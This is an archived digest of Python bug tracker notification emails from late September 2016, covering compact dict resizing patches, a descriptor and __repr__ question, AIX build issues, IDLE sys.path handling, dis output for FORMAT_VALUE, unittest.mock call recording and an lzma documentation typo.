Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Fri Sep 30 01:02:52 2016
From: report at bugs.python.org (INADA Naoki)
Date: Fri, 30 Sep 2016 05:02:52 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
In-Reply-To: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>
Message-ID: <1475211772.6.0.715311212665.issue28199@psf.upfronthosting.co.za>


INADA Naoki added the comment:

As written in comment, reusing keys object breaks odict implementation.
I think we can't avoid copy for Python 3.6.

----------
keywords: +patch
Added file: http://bugs.python.org/file44888/dictresize.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Fri Sep 30 01:16:00 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 30 Sep 2016 05:16:00 +0000
Subject: [issue28295] PyUnicode_AsUCS4 doc and impl conflict on exception
In-Reply-To: <1475050266.78.0.386373068592.issue28295@psf.upfronthosting.co.za>
Message-ID: <1475212560.94.0.756454010138.issue28295@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

v2 now adds more tests and change the problematic variable name.

----------
Added file: http://bugs.python.org/file44889/PyUnicode_AsUCS4_v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28295>
_______________________________________

From report at bugs.python.org  Fri Sep 30 01:37:11 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Fri, 30 Sep 2016 05:37:11 +0000
Subject: [issue28294] HTTPServer server.py assumes sys.stderr != None
In-Reply-To: <1475046504.95.0.666561329413.issue28294@psf.upfronthosting.co.za>
Message-ID: <1475213831.75.0.79923730706.issue28294@psf.upfronthosting.co.za>


Mariatta Wijaya added the comment:

use the logging module instead of sys.stderr

----------
keywords: +patch
Added file: http://bugs.python.org/file44890/issue28294.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28294>
_______________________________________

From report at bugs.python.org  Fri Sep 30 02:12:45 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Fri, 30 Sep 2016 06:12:45 +0000
Subject: [issue27942] Default value identity regression
In-Reply-To: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>
Message-ID: <1475215965.75.0.607811150215.issue27942@psf.upfronthosting.co.za>


Changes by Josh Rosenberg <shadowranger+python at gmail.com>:


----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Fri Sep 30 02:31:55 2016
From: report at bugs.python.org (Sabine Maennel)
Date: Fri, 30 Sep 2016 06:31:55 +0000
Subject: [issue28316] descriptor and repr get into conflict
Message-ID: <1475217115.9.0.838082905984.issue28316@psf.upfronthosting.co.za>


New submission from Sabine Maennel:

I was working with descriptors and hit on an error, that I do not understand. 
I attach a protocol of my interactive python session that will show you what happened and the session is reproducible:

I had a class employing a descriptor: 
class Descriptor(object):
    def __init__(self, name):
        self.name = name
    def __set__(self, instance, val):
        print('Updating', self.name, 'for', instance)
        instance.__dict__[self.name] = val

class A:
    x = Descriptor('x')
    def __init__(self, name, x):
        self.x = x
        self.name = name
    def __repr__(self):
        return "I am {}".format(self.name)

if defined like this it hits an error when I want to initialize it:
a = A('a', 2)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 4, in __init__
  File "<stdin>", line 5, in __set__
  File "<stdin>", line 7, in __repr__
AttributeError: 'A' object has no attribute 'name'
Updating x for 

The error could be fixed by just exchanging the assignments in the __init__ of A:
class A:
    x = Descriptor('x')
    def __init__(self, name, x):
        self.name = name
        self.x = x
    def __repr__(self):
        return "I am {}".format(self.name)
Now a = A('a', 2) works as expected. But this seems weird to me.

----------
files: descriptor_and_repr_error
messages: 277740
nosy: Sabine.maennel at gmail.com
priority: normal
severity: normal
status: open
title: descriptor and repr get into conflict
type: crash
versions: Python 3.5
Added file: http://bugs.python.org/file44891/descriptor_and_repr_error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28316>
_______________________________________

From report at bugs.python.org  Fri Sep 30 02:38:45 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 30 Sep 2016 06:38:45 +0000
Subject: [issue18235] _sysconfigdata.py wrong on AIX installations
In-Reply-To: <1371429201.94.0.372851990361.issue18235@psf.upfronthosting.co.za>
Message-ID: <1475217525.53.0.971815527392.issue18235@psf.upfronthosting.co.za>


Martin Panter added the comment:

It might have been good to get this reopened to attract more attention to it. Anyway, Issue 28311 has now been opened for 2.7, and it seems to be about the same problem.

----------
nosy: +martin.panter
superseder:  -> AIX shared library extension modules installation broken - Python2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18235>
_______________________________________

From report at bugs.python.org  Fri Sep 30 02:40:19 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Fri, 30 Sep 2016 06:40:19 +0000
Subject: [issue28316] descriptor and repr get into conflict
In-Reply-To: <1475217115.9.0.838082905984.issue28316@psf.upfronthosting.co.za>
Message-ID: <1475217619.76.0.268971427563.issue28316@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

This is no different than this simpler case:

class A:
    def __init__(self, name):
        print("init {!r}".format(self))
        self.name = name
    def __repr__(self):
        return "I am {}".format(self.name)

The instance of A doesn't not have a name attribute for __repr__ to use until you set it.

----------
nosy: +benjamin.peterson
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28316>
_______________________________________

From report at bugs.python.org  Fri Sep 30 02:41:43 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 30 Sep 2016 06:41:43 +0000
Subject: [issue25488] IDLE: Remove '', user_dir,
 and idlelib from sys.path when added
In-Reply-To: <1445937913.03.0.194834202195.issue25488@psf.upfronthosting.co.za>
Message-ID: <1475217703.73.0.785793929874.issue25488@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

sys.path for 3.6.0b1 on Win 10.
Start python from icon (start menu), console (py -3.6) or Explorer (click on python.exe)
'',
'C:\\Programs\\Python36\\python36.zip',
'C:\\Programs\\Python36\\DLLs',
'C:\\Programs\\Python36\\lib',
'C:\\Programs\\Python36',
'C:\\Programs\\Python36\\lib\\site-packages',

Start Python from Explorer by double-clicking *.py file or context menu 'Open': replace '' with
'C:/user/Terry/lib'  # directory containing file.

Running 'import sys; sys.path' (in user process) from IDLE Shell adds the following after ''.
Start IDLE from icon:
'C:\\Programs\\Python36\\Lib\\idlelib',
Start IDLE in console with py -3.6 -m idlelib:
'F:\\Python\\dev'  # the CWD of the console
Start IDLE in console with py -3.6 -m idlelib.idle:
'C:\\Programs\\Python36\\lib',  # duplicate added by idle.py
'F:\\Python\\dev'  # the CWD of the console
Start IDLE from Python with 'import idlelib.idle'
'C:\\Programs\\Python36\\lib',  # duplicate added by idle.py
'C:\\Programs\\Python36'  # the CWD of the running Python (dup)

Currently, idle.py inserts the directory containing idlelib into sys.path.  This is a duplicate unless running idlelib in a non-stanard location.  Check first.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25488>
_______________________________________

From report at bugs.python.org  Fri Sep 30 02:57:20 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 30 Sep 2016 06:57:20 +0000
Subject: [issue25488] IDLE: Remove '', user_dir,
 and idlelib from sys.path when added
In-Reply-To: <1445937913.03.0.194834202195.issue25488@psf.upfronthosting.co.za>
Message-ID: <20160930065717.6983.53910.1476326B@psf.io>


Roundup Robot added the comment:

New changeset 5f788ad057ca by Terry Jan Reedy in branch '2.7':
Issue #25488: Stpp idle.py from adding a entry when it is a duplicate.
https://hg.python.org/cpython/rev/5f788ad057ca

New changeset 013956a801e4 by Terry Jan Reedy in branch '3.5':
Issue #25488: Stpp idle.py from adding a entry when it is a duplicate.
https://hg.python.org/cpython/rev/013956a801e4

New changeset 25ae49903496 by Terry Jan Reedy in branch '3.6':
Issue #25488: merge idle.py from 3.5.
https://hg.python.org/cpython/rev/25ae49903496

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25488>
_______________________________________

From report at bugs.python.org  Fri Sep 30 03:03:13 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 30 Sep 2016 07:03:13 +0000
Subject: [issue18235] _sysconfigdata.py wrong on AIX installations
In-Reply-To: <1371429201.94.0.372851990361.issue18235@psf.upfronthosting.co.za>
Message-ID: <1475218993.78.0.0204455966148.issue18235@psf.upfronthosting.co.za>


Martin Panter added the comment:

Reopening this to fix the original bug in 2.7, and to improve things for Python 3.

Michael Felt (or anyone else): Can you confirm if Michael Haubenwallner?s suggested patch from <https://bugs.python.org/issue18235#msg219888> is appropriate? It looks like that patch won?t apply directly to 2.7, but the spirit of that patch looks sensible to me for Python 2 and 3. I.e. don?t mess with the variables in _generate_posix_vars(), which writes them to a data file, but overwrite LDSHARED in _init_posix(), which happens at run time.

----------
nosy: +Michael.Felt
stage: resolved -> patch review
status: closed -> open
superseder: AIX shared library extension modules installation broken - Python2.7 -> 
versions: +Python 2.7, Python 3.5, Python 3.6, Python 3.7 -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18235>
_______________________________________

From report at bugs.python.org  Fri Sep 30 03:06:06 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 30 Sep 2016 07:06:06 +0000
Subject: [issue25488] IDLE: Remove '', user_dir,
 and idlelib from sys.path when added
In-Reply-To: <1445937913.03.0.194834202195.issue25488@psf.upfronthosting.co.za>
Message-ID: <1475219166.28.0.166440772309.issue25488@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

I usually start repository IDLE with 'import idlelib.idle' in repository console python, which I have pinned to my taskbar.  This is at least as faster as entering a command in the console (which would block the console), keeps error messages for one version together in one place and separate from anything else, and leaves my console free to enter other commands.

The import change will make idlelib.idle.main() work to restart IDLE after closing it.  Previously, idlelib.idle.idlelib.pyshell.main() was required, which I never did.  I marked the import as subject to change, as I intend to move (and edit) much of pyshell.main to idle.py.

----------
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25488>
_______________________________________

From report at bugs.python.org  Fri Sep 30 03:06:58 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 30 Sep 2016 07:06:58 +0000
Subject: [issue28311] AIX shared library extension modules installation broken
 - Python2.7
In-Reply-To: <1475139835.31.0.110522529855.issue28311@psf.upfronthosting.co.za>
Message-ID: <1475219218.52.0.694086244068.issue28311@psf.upfronthosting.co.za>


Martin Panter added the comment:

I think this might be separate to Issue 25825, but my investigation at <https://bugs.python.org/issue25825#msg273425> may be relevant. Following on from that, I reopened Issue 18235, which seems to be about the same LDSHARED vs BLDSHARED problem, but never fixed in 2.7.

----------
nosy: +martin.panter
resolution:  -> duplicate
status: open -> closed
superseder:  -> _sysconfigdata.py wrong on AIX installations

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28311>
_______________________________________

From report at bugs.python.org  Fri Sep 30 03:40:02 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 30 Sep 2016 07:40:02 +0000
Subject: [issue27942] Default value identity regression
In-Reply-To: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>
Message-ID: <20160930073959.12110.34504.D21714A2@psf.io>


Roundup Robot added the comment:

New changeset 78bea78d9335 by Serhiy Storchaka in branch '3.5':
Issue #27942: String constants now interned recursively in tuples and frozensets.
https://hg.python.org/cpython/rev/78bea78d9335

New changeset 0ce63a7651b9 by Serhiy Storchaka in branch '3.6':
Issue #27942: String constants now interned recursively in tuples and frozensets.
https://hg.python.org/cpython/rev/0ce63a7651b9

New changeset 44af6bd21b94 by Serhiy Storchaka in branch 'default':
Issue #27942: String constants now interned recursively in tuples and frozensets.
https://hg.python.org/cpython/rev/44af6bd21b94

New changeset 7cea3bf44acb by Serhiy Storchaka in branch '2.7':
Issue #27942: String constants now interned recursively in tuples and frozensets.
https://hg.python.org/cpython/rev/7cea3bf44acb

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Fri Sep 30 03:57:46 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 30 Sep 2016 07:57:46 +0000
Subject: [issue27942] Default value identity regression
In-Reply-To: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>
Message-ID: <1475222266.85.0.751767726133.issue27942@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thanks Naoki and Josh for reviews.

Backported to 2.7 and 3.5 since the patch also fixes other issues.

Note that the result of ``arg is "str_value"`` is implementation detail. Other Python implementations may not intern string constants. Even CPython interns only strings constants consisting of ASCII alphanumerical characters.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Fri Sep 30 04:12:46 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 30 Sep 2016 08:12:46 +0000
Subject: [issue27275] KeyError thrown by optimised
 collections.OrderedDict.popitem()
In-Reply-To: <1465446835.8.0.930561202137.issue27275@psf.upfronthosting.co.za>
Message-ID: <1475223166.92.0.309175131702.issue27275@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Eric, could you please look at the patch? Maybe I missed some reasons for current implementation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27275>
_______________________________________

From report at bugs.python.org  Fri Sep 30 04:16:38 2016
From: report at bugs.python.org (INADA Naoki)
Date: Fri, 30 Sep 2016 08:16:38 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
In-Reply-To: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>
Message-ID: <1475223398.75.0.14380962747.issue28199@psf.upfronthosting.co.za>


INADA Naoki added the comment:

$ ./install/bin/python3.6-default -m perf timeit -s 'x = range(1000); d={}' 'for i in x: d[i]=i; del d[i];'
....................
Median +- std dev: 363 us +- 11 us
$ ./install/bin/python3.6 -m perf timeit -s 'x = range(1000); d={}' 'for i in x: d[i]=i; del d[i];'  # patched
....................
Median +- std dev: 343 us +- 17 us
$ ./install/bin/python3.6-default -m perf timeit -s 'x = range(1000); d={}' 'for i in x: d[i]=i; del d[i];'
....................
Median +- std dev: 362 us +- 11 us
$ ./install/bin/python3.6 -m perf timeit -s 'x = range(1000); d={}' 'for i in x: d[i]=i; del d[i];'  # patched
....................
Median +- std dev: 342 us +- 14 us
$ ./install/bin/python3.6-default -m perf timeit -s 'x = range(1000); d={}' 'for i in x: d[i]=i; del d[i];'
....................
Median +- std dev: 364 us +- 11 us

----------
assignee:  -> inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Fri Sep 30 09:08:05 2016
From: report at bugs.python.org (INADA Naoki)
Date: Fri, 30 Sep 2016 13:08:05 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475240885.69.0.218242035831.issue28183@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Refactoring includes replacing PyDict_Next with _PyDict_Next.
It can improve performance by skipping some checks.
But it would be too small to see difference from benchmark.

I'll reduce diff size, hopefully in this weekend.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Fri Sep 30 09:27:40 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Fri, 30 Sep 2016 13:27:40 +0000
Subject: [issue28301] python3.4-config --extension-suffix reports
 '.cpython-34m.so'
In-Reply-To: <1475070791.83.0.774355189291.issue28301@psf.upfronthosting.co.za>
Message-ID: <1475242060.37.0.621741848602.issue28301@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Yeah that's expected. See issue9806 and PEP 3149.

----------
nosy: +Chi Hsuan Yen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28301>
_______________________________________

From report at bugs.python.org  Fri Sep 30 10:21:20 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 30 Sep 2016 14:21:20 +0000
Subject: [issue28317] Improve support of FORMAT_VALUE in dis
Message-ID: <1475245280.55.0.378844922584.issue28317@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

FORMAT_VALUE packs the information about conversion flags and boolean flag that denotes whether format specifier is passed on the stack in one integer argument. It is not easy to decode this information in disassemble output. Proposed patch makes disassembler producing human readable representation of FORMAT_VALUE argument.

$ echo 'f"{a} {b:4} {c!r} {d!r:4}"' | ./python -m dis
  1           0 LOAD_NAME                0 (a)
              2 FORMAT_VALUE             0
              4 LOAD_CONST               0 (' ')
              6 LOAD_NAME                1 (b)
              8 LOAD_CONST               1 ('4')
             10 FORMAT_VALUE             4 (with format)
             12 LOAD_CONST               0 (' ')
             14 LOAD_NAME                2 (c)
             16 FORMAT_VALUE             2 (repr)
             18 LOAD_CONST               0 (' ')
             20 LOAD_NAME                3 (d)
             22 LOAD_CONST               1 ('4')
             24 FORMAT_VALUE             6 (repr, with format)
             26 BUILD_STRING             7
             28 POP_TOP
             30 LOAD_CONST               2 (None)
             32 RETURN_VALUE

----------
components: Library (Lib)
files: dis_format_string.patch
keywords: patch
messages: 277754
nosy: eric.smith, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Improve support of FORMAT_VALUE in dis
type: enhancement
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44892/dis_format_string.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28317>
_______________________________________

From report at bugs.python.org  Fri Sep 30 10:45:42 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 30 Sep 2016 14:45:42 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
In-Reply-To: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>
Message-ID: <1475246742.83.0.983169851517.issue28199@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Oh, your message reminded me that I always wanted an option in the timeit module to run the benchmark on two Python versions and then directly compare the result. I just added the feature to perf and then I released perf 0.7.11, enjoy! The output is more compact and it's more reliable because the comparison ensures that the difference is significant.

---
$ export PYTHONPATH=~/prog/GIT/perf
$ ./python-resize -m perf timeit --inherit-environ=PYTHONPATH --compare-to=./python-ref -s 'x = range(1000); d={}' 'for i in x: d[i]=i; del d[i];' --rigorous
python-ref: ........................................ 77.6 us +- 1.8 us
python-resize: ........................................ 74.8 us +- 1.9 us

Median +- std dev: [python-ref] 77.6 us +- 1.8 us -> [python-resize] 74.8 us +- 1.9 us: 1.04x faster
---

I can reproduced the 4% speedup.

(I didn't review the patch yet.)

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Fri Sep 30 10:46:33 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 30 Sep 2016 14:46:33 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
In-Reply-To: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>
Message-ID: <1475246793.04.0.96649334293.issue28199@psf.upfronthosting.co.za>


STINNER Victor added the comment:

dictresize.patch is quite big, it seems like half of the patch is more cleanup/refactoring. Can you please split the patch into two parts, to only a smaller patch just for the optimization part?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Fri Sep 30 10:54:40 2016
From: report at bugs.python.org (Trey Hunner)
Date: Fri, 30 Sep 2016 14:54:40 +0000
Subject: [issue26351] Occasionally check for Ctrl-C in long-running operations
 like sum
In-Reply-To: <1455299252.18.0.421982887455.issue26351@psf.upfronthosting.co.za>
Message-ID: <1475247280.38.0.418762874323.issue26351@psf.upfronthosting.co.za>


Trey Hunner added the comment:

This is a problem I experience occasionally while teaching and while developing teaching curriculum.

I tend to close problem windows quickly enough to avoid a computer crash in front of a live audience, but it's still an annoyance to get the REPL state back to the way I had it before killing the process.

This mostly happens when I'm teaching iterators or itertools, but occasionally I hit a "Ctrl-C free zone" in other ways.  I believe this memory-filling snippet wouldn't respond to Ctrl-C either: x=[0]*2**30

I hadn't thought to report a bug on this because my use seemed niche.  I mostly get this error while demonstrating concepts via weird/incorrect code at the REPL.

----------
nosy: +trey

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26351>
_______________________________________

From report at bugs.python.org  Fri Sep 30 11:19:39 2016
From: report at bugs.python.org (INADA Naoki)
Date: Fri, 30 Sep 2016 15:19:39 +0000
Subject: [issue28199] Compact dict resizing is doing too much work
In-Reply-To: <1474236829.43.0.744002065698.issue28199@psf.upfronthosting.co.za>
Message-ID: <1475248779.85.0.640553281279.issue28199@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Ah, I'm sorry.
I forget to remove some changes relating to inplace compaction (reusing oldkeys when oldsize==newsize).

----------
Added file: http://bugs.python.org/file44893/dictresize2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28199>
_______________________________________

From report at bugs.python.org  Fri Sep 30 11:30:32 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Fri, 30 Sep 2016 15:30:32 +0000
Subject: [issue28190] Detect curses headers correctly for cross-compiling
In-Reply-To: <1474132808.23.0.788365161086.issue28190@psf.upfronthosting.co.za>
Message-ID: <1475249432.41.0.489123666977.issue28190@psf.upfronthosting.co.za>


Changes by Xavier de Gaye <xdegaye at gmail.com>:


----------
nosy: +xdegaye

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28190>
_______________________________________

From report at bugs.python.org  Fri Sep 30 12:09:30 2016
From: report at bugs.python.org (Roy Williams)
Date: Fri, 30 Sep 2016 16:09:30 +0000
Subject: [issue28288] Expose environment variable for Py_Py3kWarningFlag
In-Reply-To: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>
Message-ID: <1475251770.12.0.574743164623.issue28288@psf.upfronthosting.co.za>


Roy Williams added the comment:

Thanks for your support!  Here's a patch to enable the `PYTHON3WARNINGS` environment variable.

----------
keywords: +patch
Added file: http://bugs.python.org/file44894/pythonenable3kwarningsflag.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Fri Sep 30 12:15:41 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 30 Sep 2016 16:15:41 +0000
Subject: [issue28277] ./Modules/_io/_iomodule.c build failure on AIX (beta1)
 while (a2) was fine.
In-Reply-To: <1474891390.34.0.856416386783.issue28277@psf.upfronthosting.co.za>
Message-ID: <1475252141.76.0.405980202698.issue28277@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28277>
_______________________________________

From report at bugs.python.org  Fri Sep 30 12:19:40 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Fri, 30 Sep 2016 16:19:40 +0000
Subject: [issue28207] Use pkg-config to find dependencies
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1475252380.8.0.233119071953.issue28207@psf.upfronthosting.co.za>


Changes by Xavier de Gaye <xdegaye at gmail.com>:


----------
nosy: +xdegaye

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Fri Sep 30 12:35:50 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 30 Sep 2016 16:35:50 +0000
Subject: [issue28259] Ctypes bug windows
In-Reply-To: <1474647946.24.0.533944480109.issue28259@psf.upfronthosting.co.za>
Message-ID: <1475253350.6.0.198619560963.issue28259@psf.upfronthosting.co.za>


Steve Dower added the comment:

Are you using 64-bit? There was an issue passing structs a while back, but I don't recall when or if we've merged the patch.

----------
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28259>
_______________________________________

From report at bugs.python.org  Fri Sep 30 12:37:19 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 30 Sep 2016 16:37:19 +0000
Subject: [issue28269] [MinGW] Can't compile Python/dynload_win.c due to static
 strcasecmp
In-Reply-To: <1474800483.31.0.700864577383.issue28269@psf.upfronthosting.co.za>
Message-ID: <1475253439.04.0.62970936863.issue28269@psf.upfronthosting.co.za>


Steve Dower added the comment:

Why not replace it entirely with stricmp? Does it behave differently?

----------
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28269>
_______________________________________

From report at bugs.python.org  Fri Sep 30 13:14:23 2016
From: report at bugs.python.org (Aristotel)
Date: Fri, 30 Sep 2016 17:14:23 +0000
Subject: [issue28259] Ctypes bug windows
In-Reply-To: <1474647946.24.0.533944480109.issue28259@psf.upfronthosting.co.za>
Message-ID: <1475255663.74.0.461579733231.issue28259@psf.upfronthosting.co.za>


Aristotel added the comment:

I use 32-bit python on 64-bit windows

----------
components:  -Windows

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28259>
_______________________________________

From report at bugs.python.org  Fri Sep 30 13:15:04 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 30 Sep 2016 17:15:04 +0000
Subject: [issue28217] Add interactive console tests
In-Reply-To: <1474393467.21.0.584094770072.issue28217@psf.upfronthosting.co.za>
Message-ID: <1475255704.04.0.264128326856.issue28217@psf.upfronthosting.co.za>


Steve Dower added the comment:

Added my work on this so far. I've only done input testing, but that's the more important one anyway in my opinion.

Feel free to suggest more edge cases we ought to test and I'll try and get to adding them before b2.

----------
keywords: +patch
Added file: http://bugs.python.org/file44895/28217_1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28217>
_______________________________________

From report at bugs.python.org  Fri Sep 30 13:54:38 2016
From: report at bugs.python.org (Guillaume Chorn)
Date: Fri, 30 Sep 2016 17:54:38 +0000
Subject: [issue28318] Python unittest.mock.mock_calls stores references to
 arguments instead of their values
Message-ID: <1475258078.84.0.445986439292.issue28318@psf.upfronthosting.co.za>


New submission from Guillaume Chorn:

In the unittest.mock library, when a Mock object stores the calls made on it in its `mock_calls` attribute, it appears to store references to the call arguments instead of the actual values of the call arguments. In cases where call args are mutable types, this results in the undesirable behavior below:

```python
import mock

arg = ['one']

test_function(arg)

# passes
test_function.assert_has_calls([mock.call(['one'])])

arg += ['two']

test_function(arg)

# fails, even though we just verified the first call above!
test_function.assert_has_calls([
    mock.call(['one']),
    mock.call(['one','two'])
])

# passes, even though we didn't make the exact same call twice!
test_function.assert_has_calls([
    mock.call(['one', 'two']),
    mock.call(['one', 'two'])
])
```

----------
components: Tests
messages: 277764
nosy: Guillaume Chorn
priority: normal
severity: normal
status: open
title: Python unittest.mock.mock_calls stores references to arguments instead of their values
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28318>
_______________________________________

From report at bugs.python.org  Fri Sep 30 13:55:56 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 30 Sep 2016 17:55:56 +0000
Subject: [issue28301] python3.4-config --extension-suffix reports
 '.cpython-34m.so'
In-Reply-To: <1475070791.83.0.774355189291.issue28301@psf.upfronthosting.co.za>
Message-ID: <1475258156.54.0.805760470603.issue28301@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28301>
_______________________________________

From report at bugs.python.org  Fri Sep 30 14:10:09 2016
From: report at bugs.python.org (Vladimir Rutsky)
Date: Fri, 30 Sep 2016 18:10:09 +0000
Subject: [issue28319] typo in lzma module documentation
Message-ID: <1475259009.88.0.349229961864.issue28319@psf.upfronthosting.co.za>


New submission from Vladimir Rutsky:

"Specifying custom filter chains" section contains:

> It only supports a single The delta filter supports only one option, dist.

Probably should be just:

> The delta filter supports only one option, dist.

----------
assignee: docs at python
components: Documentation
messages: 277765
nosy: docs at python, vrutsky
priority: normal
severity: normal
status: open
title: typo in lzma module documentation
versions: Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28319>
_______________________________________

From report at bugs.python.org  Fri Sep 30 14:21:37 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 30 Sep 2016 18:21:37 +0000
Subject: [issue28318] Python unittest.mock.mock_calls stores references to
 arguments instead of their values
In-Reply-To: <1475258078.84.0.445986439292.issue28318@psf.upfronthosting.co.za>
Message-ID: <1475259697.06.0.97646631524.issue28318@psf.upfronthosting.co.za>


R. David Murray added the comment:

This is pretty much just the way python works.  The only alternative would be for mock to try to do a deepcopy, which won't always work, so it is probably better not to do it at all.

----------
nosy: +michael.foord, r.david.murray, rbcollins

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28318>
_______________________________________

From report at bugs.python.org  Fri Sep 30 14:36:14 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 30 Sep 2016 18:36:14 +0000
Subject: [issue28264] Turtle.onclick events blocked by Turtle.stamp
